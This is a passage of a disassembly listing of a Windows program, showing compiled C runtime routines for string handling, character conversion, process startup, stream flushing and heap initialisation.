		pop	esi
		pop	edi
		retn	10h
sub_41DDA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE4A	proc near		; CODE XREF: sub_417493+BFp
					; sub_417493+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBE84
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DE7E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DEE5


loc_41DE66:				; CODE XREF: sub_41DE4A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DE77
		cmp	cl, 7Ah
		jg	short loc_41DE77
		sub	cl, 20h
		mov	[edx], cl


loc_41DE77:				; CODE XREF: sub_41DE4A+21j
					; sub_41DE4A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DE66
		jmp	short loc_41DEE5
; ---------------------------------------------------------------------------


loc_41DE7E:				; CODE XREF: sub_41DE4A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_4232A8
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DED7
		push	edi
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DED7
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DED7
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_41DED7:				; CODE XREF: sub_41DE4A+53j
					; sub_41DE4A+61j ...
		push	[ebp+var_4]
		call	sub_41BA91
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DEE5:				; CODE XREF: sub_41DE4A+1Aj
					; sub_41DE4A+32j
		pop	ebx
		leave
		retn
sub_41DE4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEE8	proc near		; CODE XREF: sub_417E84+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DEFF
		push	4
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DEFF:				; CODE XREF: sub_41DEE8+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DEE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF10	proc near		; CODE XREF: sub_420DB0+76p
					; sub_420DB0+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DF27
		push	8
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DF27:				; CODE XREF: sub_41DF10+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DF40	proc near		; CODE XREF: sub_418295+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DF8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DF8D
		test	eax, 1
		jz	short loc_41DF6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DFBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DF8A


loc_41DF6D:				; CODE XREF: sub_41DF40+20j
					; sub_41DF40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DFBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DFBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DF6D


loc_41DF8A:				; CODE XREF: sub_41DF40+2Bj
					; sub_41DF40+84j
		pop	edi
		pop	esi

locret_41DF8C:				; CODE XREF: sub_41DF40+6j
		retn
; ---------------------------------------------------------------------------


loc_41DF8D:				; CODE XREF: sub_41DF40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DFC2
		repe cmpsd
		jz	short loc_41DFC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh
		jnz	short loc_41DFB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh


loc_41DFB5:				; CODE XREF: sub_41DF40+63j
					; sub_41DF40+67j ...
		mov	eax, 0


loc_41DFBA:				; CODE XREF: sub_41DF40+26j
					; sub_41DF40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DFC2:				; CODE XREF: sub_41DF40+55j
					; sub_41DF40+59j
		test	eax, eax
		jz	short loc_41DF8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		cmp	dh, ch
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DFB5
		dec	eax


loc_41DFE9:				; CODE XREF: sub_41DF40+8Fj
					; sub_41DF40+96j
		pop	edi
		pop	esi
		retn
sub_41DF40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFEC	proc near		; CODE XREF: sub_4185B5+6p
					; sub_4185D3+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41E019
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41E0B2
		cmp	eax, 5Ah
		jg	loc_41E0B2
		add	eax, 20h
		jmp	loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E019:				; CODE XREF: sub_41DFEC+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41E04D
		cmp	dword_43D084, esi
		jle	short loc_41E03B
		push	esi
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41E045
; ---------------------------------------------------------------------------


loc_41E03B:				; CODE XREF: sub_41DFEC+42j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41E045:				; CODE XREF: sub_41DFEC+4Dj
		test	eax, eax
		jnz	short loc_41E04D


loc_41E049:				; CODE XREF: sub_41DFEC+ADj
		mov	eax, ebx
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E04D:				; CODE XREF: sub_41DFEC+3Aj
					; sub_41DFEC+5Bj
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E071
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41E07A
; ---------------------------------------------------------------------------


loc_41E071:				; CODE XREF: sub_41DFEC+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41E07A:				; CODE XREF: sub_41DFEC+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41E049
		cmp	eax, esi
		jnz	short loc_41E0A5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E0A5:				; CODE XREF: sub_41DFEC+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41E0B2:				; CODE XREF: sub_41DFEC+16j
					; sub_41DFEC+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DFEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0B7	proc near		; CODE XREF: sub_418AF1+ADp
					; sub_419AE0+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41E0CE


loc_41E0C4:				; CODE XREF: sub_41E0B7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41E0C4


loc_41E0CE:				; CODE XREF: sub_41E0B7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41E0B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0D4	proc near		; CODE XREF: sub_418AF1+7Fp
					; sub_418AF1+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41E1A1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41E1CE
		cmp	dword_4DBE84, esi
		jnz	short loc_41E125
		cmp	edi, esi
		jbe	loc_41E1CE


loc_41E104:				; CODE XREF: sub_41E0D4+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41E1CE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41E104
		jmp	loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E125:				; CODE XREF: sub_41E0D4+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_4270E8
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBE94
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41E1CD
		call	dword_427094	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_41E15F


loc_41E150:				; CODE XREF: sub_41E0D4+CBj
					; sub_41E0D4+F7j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E15F:				; CODE XREF: sub_41E0D4+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41E167:				; CODE XREF: sub_41E0D4+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E189
		mov	edx, off_43CE78
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E17E
		inc	eax


loc_41E17E:				; CODE XREF: sub_41E0D4+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41E167


loc_41E189:				; CODE XREF: sub_41E0D4+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBE94
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_41E1CE
		jmp	short loc_41E150
; ---------------------------------------------------------------------------


loc_41E1A1:				; CODE XREF: sub_41E0D4+Fj
		cmp	dword_4DBE84, esi
		jnz	short loc_41E1B4
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41E0D4+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBE94
		call	dword_4270E8	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_41E150


loc_41E1CD:				; CODE XREF: sub_41E0D4+6Bj
		dec	eax


loc_41E1CE:				; CODE XREF: sub_41E0D4+1Aj
					; sub_41E0D4+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E0D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1D3	proc near		; CODE XREF: start+189j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427700
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	dword_4271B0	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_4DBDF4, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_4DBDF0, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_4DBDEC, ecx
		shr	eax, 10h
		mov	dword_4DBDE8, eax
		xor	esi, esi
		push	esi
		call	sub_41E672
		pop	ecx
		test	eax, eax
		jnz	short loc_41E23F
		push	1Ch
		call	sub_41E2EE
		pop	ecx


loc_41E23F:				; CODE XREF: sub_41E1D3+62j
		mov	[ebp+var_4], esi
		call	sub_423B0B
		call	dword_4271AC	; GetCommandLineA
		mov	dword_4DD38C, eax
		call	sub_4239D9
		mov	dword_4DBE34, eax
		call	sub_42378C
		call	sub_4236D3
		call	sub_41C164
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_4271A8	; GetStartupInfoA
		call	sub_42367B
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_41E28C
		movzx	eax, [ebp+var_2C]
		jmp	short loc_41E28F
; ---------------------------------------------------------------------------


loc_41E28C:				; CODE XREF: sub_41E1D3+B1j
		push	0Ah
		pop	eax


loc_41E28F:				; CODE XREF: sub_41E1D3+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	dword_4270A4	; GetModuleHandleA
		push	eax
		call	sub_401221
		mov	[ebp+var_60], eax
		push	eax
		call	sub_41C191
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_68], ecx
		push	eax
		push	ecx
		call	sub_4234F7
		pop	ecx
		pop	ecx
		retn
sub_41E1D3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_41C1A2

; =============== S U B	R O U T	I N E =======================================



sub_41E2C9	proc near		; CODE XREF: sub_41DA32+16p
					; sub_4236D3+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_4DBE3C, 1
		jnz	short loc_41E2D7
		call	sub_423D98


loc_41E2D7:				; CODE XREF: sub_41E2C9+7j
		push	[esp+arg_0]
		call	sub_423DD1
		push	0FFh
		call	off_43AE40
		pop	ecx
		pop	ecx
		retn
sub_41E2C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2EE	proc near		; CODE XREF: sub_41E1D3+66p

arg_0		= dword	ptr  4

		cmp	dword_4DBE3C, 1
		jnz	short loc_41E2FC
		call	sub_423D98


loc_41E2FC:				; CODE XREF: sub_41E2EE+7j
		push	[esp+arg_0]
		call	sub_423DD1
		pop	ecx
		push	0FFh
		call	dword_42706C	; ExitProcess
		retn
sub_41E2EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E312	proc near		; CODE XREF: sub_41BA3B+2Ap
					; sub_42423B+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DD140
		jnb	loc_41E3AC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E3AC
		push	edi
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E38B
		cmp	edi, 1
		jz	short loc_41E359
		cmp	edi, 2
		jnz	short loc_41E36F


loc_41E359:				; CODE XREF: sub_41E312+40j
		push	2
		call	sub_4240AA
		push	1
		mov	ebp, eax
		call	sub_4240AA
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E38B


loc_41E36F:				; CODE XREF: sub_41E312+45j
		push	edi
		call	sub_4240AA
		pop	ecx
		push	eax
		call	dword_427070	; CloseHandle
		test	eax, eax
		jnz	short loc_41E38B
		call	dword_427094	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_41E38D
; ---------------------------------------------------------------------------


loc_41E38B:				; CODE XREF: sub_41E312+3Bj
					; sub_41E312+5Bj ...
		xor	ebp, ebp


loc_41E38D:				; CODE XREF: sub_41E312+77j
		push	edi
		call	sub_424030
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E3A8
		push	ebp
		call	sub_420C7F
		pop	ecx
		jmp	short loc_41E3BD
; ---------------------------------------------------------------------------


loc_41E3A8:				; CODE XREF: sub_41E312+8Bj
		xor	eax, eax
		jmp	short loc_41E3C0
; ---------------------------------------------------------------------------


loc_41E3AC:				; CODE XREF: sub_41E312+Ej
					; sub_41E312+2Fj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41E3BD:				; CODE XREF: sub_41E312+94j
		or	eax, 0FFFFFFFFh


loc_41E3C0:				; CODE XREF: sub_41E312+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E312	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C5	proc near		; CODE XREF: sub_41BA3B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E3EE
		test	al, 8
		jz	short loc_41E3EE
		push	dword ptr [esi+8]
		call	sub_41BA91
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E3EE:				; CODE XREF: sub_41E3C5+Aj
					; sub_41E3C5+Ej
		pop	esi
		retn
sub_41E3C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3F0	proc near		; CODE XREF: sub_41E490+2Dp
					; sub_41E490+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E402
		push	esi
		call	sub_41E490
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E402:				; CODE XREF: sub_41E3F0+7j
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jz	short loc_41E412
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E412:				; CODE XREF: sub_41E3F0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E427
		push	dword ptr [esi+10h]
		call	sub_4240E7
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E427:				; CODE XREF: sub_41E3F0+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E3F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E42B	proc near		; CODE XREF: sub_41BA3B+1Ap
					; sub_41DA8B+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E478
		test	ax, 108h
		jz	short loc_41E478
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E478
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E471
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E478
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E478
; ---------------------------------------------------------------------------


loc_41E471:				; CODE XREF: sub_41E42B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E478:				; CODE XREF: sub_41E42B+14j
					; sub_41E42B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E42B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E487	proc near		; CODE XREF: sub_4241E3p
		push	1
		call	sub_41E490
		pop	ecx
		retn
sub_41E487	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E490	proc near		; CODE XREF: sub_41E3F0+Ap
					; sub_41E487+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DD020, esi
		jle	short loc_41E4EE


loc_41E4A1:				; CODE XREF: sub_41E490+5Cj
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E4E5
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E4E5
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E4CB
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E4E5
		inc	ebx
		jmp	short loc_41E4E5
; ---------------------------------------------------------------------------


loc_41E4CB:				; CODE XREF: sub_41E490+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E4E5
		test	cl, 2
		jz	short loc_41E4E5
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E4E5
		or	edi, eax


loc_41E4E5:				; CODE XREF: sub_41E490+1Bj
					; sub_41E490+23j ...
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_41E4A1


loc_41E4EE:				; CODE XREF: sub_41E490+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E4F9
		mov	eax, edi


loc_41E4F9:				; CODE XREF: sub_41E490+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E490	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4FD	proc near		; CODE XREF: sub_41E52A+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	dword_4270A4	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41E528
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41E528
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41E528:				; CODE XREF: sub_41E4FD+15j
					; sub_41E4FD+1Cj
		pop	esi
		retn
sub_41E4FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E52A	proc near		; CODE XREF: sub_41E672+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41C500
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	dword_4270D0	; GetVersionExA
		test	eax, eax
		jz	short loc_41E56D
		cmp	[ebp+var_88], 2
		jnz	short loc_41E56D
		cmp	[ebp+var_94], 5
		jb	short loc_41E56D
		push	1
		pop	eax
		jmp	loc_41E66F
; ---------------------------------------------------------------------------


loc_41E56D:				; CODE XREF: sub_41E52A+27j
					; sub_41E52A+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_4271B4	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_41E65C
		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_41E5AF


loc_41E59C:				; CODE XREF: sub_41E52A+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E5AA
		cmp	al, 7Ah
		jg	short loc_41E5AA
		sub	al, 20h
		mov	[ecx], al


loc_41E5AA:				; CODE XREF: sub_41E52A+76j
					; sub_41E52A+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E59C


loc_41E5AF:				; CODE XREF: sub_41E52A+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41C850
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E5D1
		lea	eax, [ebp+var_122C]
		jmp	short loc_41E61A
; ---------------------------------------------------------------------------


loc_41E5D1:				; CODE XREF: sub_41E52A+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		call	dword_427078	; GetModuleFileNameA
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_41E605


loc_41E5F2:				; CODE XREF: sub_41E52A+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E600
		cmp	al, 7Ah
		jg	short loc_41E600
		sub	al, 20h
		mov	[ecx], al


loc_41E600:				; CODE XREF: sub_41E52A+CCj
					; sub_41E52A+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E5F2


loc_41E605:				; CODE XREF: sub_41E52A+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx


loc_41E61A:				; CODE XREF: sub_41E52A+A5j
		cmp	eax, ebx
		jz	short loc_41E65C
		push	2Ch
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41E65C
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41E641


loc_41E633:				; CODE XREF: sub_41E52A+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41E63C
		mov	[ecx], bl
		jmp	short loc_41E63D
; ---------------------------------------------------------------------------


loc_41E63C:				; CODE XREF: sub_41E52A+10Cj
		inc	ecx


loc_41E63D:				; CODE XREF: sub_41E52A+110j
		cmp	[ecx], bl
		jnz	short loc_41E633


loc_41E641:				; CODE XREF: sub_41E52A+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41C586
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41E66F
		cmp	eax, 3
		jz	short loc_41E66F
		cmp	eax, 1
		jz	short loc_41E66F


loc_41E65C:				; CODE XREF: sub_41E52A+5Cj
					; sub_41E52A+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41E4FD
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41E66F:				; CODE XREF: sub_41E52A+3Ej
					; sub_41E52A+126j ...
		pop	ebx
		leave
		retn
sub_41E52A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E672	proc near		; CODE XREF: sub_41E1D3+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_4271BC	; HeapCreate
		test	eax, eax
		mov	dword_4DD384, eax
		jz	short loc_41E6C8
		call	sub_41E52A
		cmp	eax, 3
		mov	dword_4DD388, eax
		jnz	short loc_41E6AE
		push	3F8h
		call	sub_41E6CF
		pop	ecx
		jmp	short loc_41E6B8
; ---------------------------------------------------------------------------


loc_41E6AE:				; CODE XREF: sub_41E672+2Dj
		cmp	eax, 2
		jnz	short loc_41E6CB
		call	sub_41F216


loc_41E6B8:				; CODE XREF: sub_41E672+3Aj
		test	eax, eax
		jnz	short loc_41E6CB
		push	dword_4DD384
		call	dword_4271B8	; HeapDestroy


loc_41E6C8:				; CODE XREF: sub_41E672+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E6CB:				; CODE XREF: sub_41E672+3Fj
					; sub_41E672+48j
		push	1
		pop	eax
		retn
sub_41E672	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6CF	proc near		; CODE XREF: sub_41E672+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_4DD384
		call	dword_427150	; RtlAllocateHeap
		test	eax, eax
		mov	dword_4DD37C, eax
		jnz	short loc_41E6EC
		retn
; ---------------------------------------------------------------------------


loc_41E6EC:				; CODE XREF: sub_41E6CF+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_4DD374, 0
		and	dword_4DD378, 0
		push	1
		mov	dword_4DD370, eax
